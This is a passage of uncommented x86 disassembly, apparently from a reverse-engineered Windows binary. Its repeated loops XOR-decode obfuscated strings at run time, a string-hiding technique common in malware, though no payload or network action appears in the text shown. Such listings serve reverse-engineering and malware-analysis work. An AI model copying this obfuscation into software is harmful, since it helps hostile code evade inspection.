psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40e3e0
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jge 0x40e526
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jl 0x40e4f0
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2c0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2bc], 0xf
mov byte [ebp - 0x2d0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e554
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00402660
mov byte [ebp - 4], 0xd
xor edx, edx
mov eax, dword [0x4408f0]
mov dword [ebp - 0x264], eax
mov al, byte [0x4408f4]
mov byte [ebp - 0x260], al
mov dword [ebp - 0x25c], edx
movups xmm0, xmmword [0x4408e0]
movups xmmword [ebp - 0x274], xmm0
cmp edi, 2
jl 0x40e6f0
movaps xmm0, xmmword [0x440cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40e5e0
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jge 0x40e726
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jl 0x40e6f0
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e748
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402660
lea eax, [ebp - 0x2d0]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0xdc]
lea ecx, [ebp - 0x12c]
call fcn.0040ae50
mov esi, dword [ebp - 0xf4]
lea edx, [ebp - 0xf4]
add esp, 8
mov ecx, eax
cmp dword [ebp - 0xe0], 0x10
cmovae edx, esi
cmp dword [eax + 0x14], 0x10
jb 0x40e7a4
mov ecx, dword [eax]
push dword [ebp - 0xe4]
push edx
mov edx, dword [eax + 0x10]
push ecx
call fcn.004027a0
mov edx, dword [ebp - 0x118]
add esp, 0xc
mov dword [ebp - 0xdc], eax
cmp edx, 0x10
jb 0x40e7f7
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e7ed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414432
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x40e84a
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e840
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414432
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x2bc]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp edx, 0x10
jb 0x40e89a
mov ecx, dword [ebp - 0x2d0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e890
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414432
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2bc], 0xf
mov byte [ebp - 0x2d0], 0
cmp eax, 0x10
jb 0x40e8ef
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40e8e5
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414432
push ecx
push esi
call fcn.00416502
add esp, 8
cmp dword [ebp - 0xdc], 0xffffffff
jne 0x40da5a
mov eax, dword [str.ktyr_]
xor edx, edx
mov dword [ebp - 0x114], eax
mov al, byte [0x440af0]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 0x110], al
mov dword [ebp - 0x25c], edx
nop dword [eax]
nop dword [eax + eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x25c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x25c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x114], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 5
jl 0x40e930
lea ecx, [ebp - 0x114]
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e9a0
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402660
mov byte [ebp - 4], 0xf
movups xmm0, xmmword [str.k_IOYPV_2]
mov ax, word [0x4407f8]
mov word [ebp - 0x264], ax
movups xmmword [ebp - 0x274], xmm0
test ah, ah
je 0x40eb76
xor edx, edx
mov dword [ebp - 0x25c], edx
cmp edi, 2
jl 0x40eb40
movaps xmm0, xmmword [0x440cc0]
mov ecx, 1
movaps xmm4, xmmword [0x440c20]
mov eax, 0x1f
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, ecx
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40ea30
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jge 0x40eb76
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jl 0x40eb40
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0xfc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40eba4
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.00402660
mov byte [ebp - 4], 0x10
xor edx, edx
mov eax, dword [0x4408f0]
mov dword [ebp - 0x264], eax
mov al, byte [0x4408f4]
mov byte [ebp - 0x260], al
mov dword [ebp - 0x25c], edx
movups xmm0, xmmword [0x4408e0]
movups xmmword [ebp - 0x274], xmm0
cmp edi, 2
jl 0x40ed42
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40ec34
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jge 0x40ed78
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jl 0x40ed42
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40eda0
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402660
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 0x11
push eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0xdc]
lea ecx, [ebp - 0x12c]
call fcn.0040ae50
mov esi, dword [ebp - 0xf4]
lea edx, [ebp - 0xf4]
add esp, 8
mov ecx, eax
cmp dword [ebp - 0xe0], 0x10
cmovae edx, esi
cmp dword [eax + 0x14], 0x10
jb 0x40edfc
mov ecx, dword [eax]
push dword [ebp - 0xe4]
push edx
mov edx, dword [eax + 0x10]
push ecx
call fcn.004027a0
mov edx, dword [ebp - 0x118]
add esp, 0xc
mov dword [ebp - 0xdc], eax
cmp edx, 0x10
jb 0x40ee4f
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ee45
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414437
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x40eea2
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ee98
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414437
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0xf8]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp edx, 0x10
jb 0x40eef2
mov ecx, dword [ebp - 0x10c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40eee8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414437
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
cmp eax, 0x10
jb 0x40ef47
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40ef3d
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414437
push ecx
push esi
call fcn.00416502
add esp, 8
cmp dword [ebp - 0xdc], 0xffffffff
jne 0x40da5a
mov eax, dword [str.iwn_]
xor edx, edx
mov dword [ebp - 0x114], eax
mov al, byte [0x4409fc]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 0x110], al
mov dword [ebp - 0x25c], edx
nop dword [eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x25c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x25c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x114], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 5
jl 0x40ef80
lea ecx, [ebp - 0x114]
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40eff0
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402660
mov byte [ebp - 4], 0x12
movups xmm0, xmmword [str.k_IOYPV_2]
mov ax, word [0x4407f8]
mov word [ebp - 0x264], ax
movups xmmword [ebp - 0x274], xmm0
test ah, ah
je 0x40f1c6
xor edx, edx
mov dword [ebp - 0x25c], edx
cmp edi, 2
jl 0x40f190
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40f080
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jge 0x40f1c6
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jl 0x40f190
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0xfc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f1f4
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.00402660
mov byte [ebp - 4], 0x13
xor edx, edx
mov eax, dword [0x4408f0]
mov dword [ebp - 0x264], eax
mov al, byte [0x4408f4]
mov byte [ebp - 0x260], al
mov dword [ebp - 0x25c], edx
movups xmm0, xmmword [0x4408e0]
movups xmmword [ebp - 0x274], xmm0
cmp edi, 2
jl 0x40f392
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40f284
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jge 0x40f3c8
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jl 0x40f392
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f3f0
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402660
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 0x14
push eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0xdc]
lea ecx, [ebp - 0x12c]
call fcn.0040ae50
mov esi, dword [ebp - 0xf4]
lea edx, [ebp - 0xf4]
add esp, 8
mov ecx, eax
cmp dword [ebp - 0xe0], 0x10
cmovae edx, esi
cmp dword [eax + 0x14], 0x10
jb 0x40f44c
mov ecx, dword [eax]
push dword [ebp - 0xe4]
push edx
mov edx, dword [eax + 0x10]
push ecx
call fcn.004027a0
mov edx, dword [ebp - 0x118]
add esp, 0xc
mov dword [ebp - 0xdc], eax
cmp edx, 0x10
jb 0x40f49f
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f495
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41443c
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x40f4f2
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f4e8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41443c
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0xf8]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp edx, 0x10
jb 0x40f542
mov ecx, dword [ebp - 0x10c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f538
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41443c
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
cmp eax, 0x10
jb 0x40f597
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40f58d
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41443c
push ecx
push esi
call fcn.00416502
add esp, 8
cmp dword [ebp - 0xdc], 0xffffffff
jne 0x40da5a
mov eax, dword [0x4407d0]
xor edx, edx
mov dword [ebp - 0x114], eax
mov al, byte [0x4407d4]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 0x110], al
mov dword [ebp - 0x25c], edx
nop dword [eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x25c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x25c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x114], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 5
jl 0x40f5d0
lea ecx, [ebp - 0x114]
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f640
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402660
mov byte [ebp - 4], 0x15
movups xmm0, xmmword [str.k_IOYPV_2]
mov ax, word [0x4407f8]
mov word [ebp - 0x264], ax
movups xmmword [ebp - 0x274], xmm0
test ah, ah
je 0x40f816
xor edx, edx
mov dword [ebp - 0x25c], edx
cmp edi, 2
jl 0x40f7e0
movaps xmm0, xmmword [0x440cc0]
mov eax, 1
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
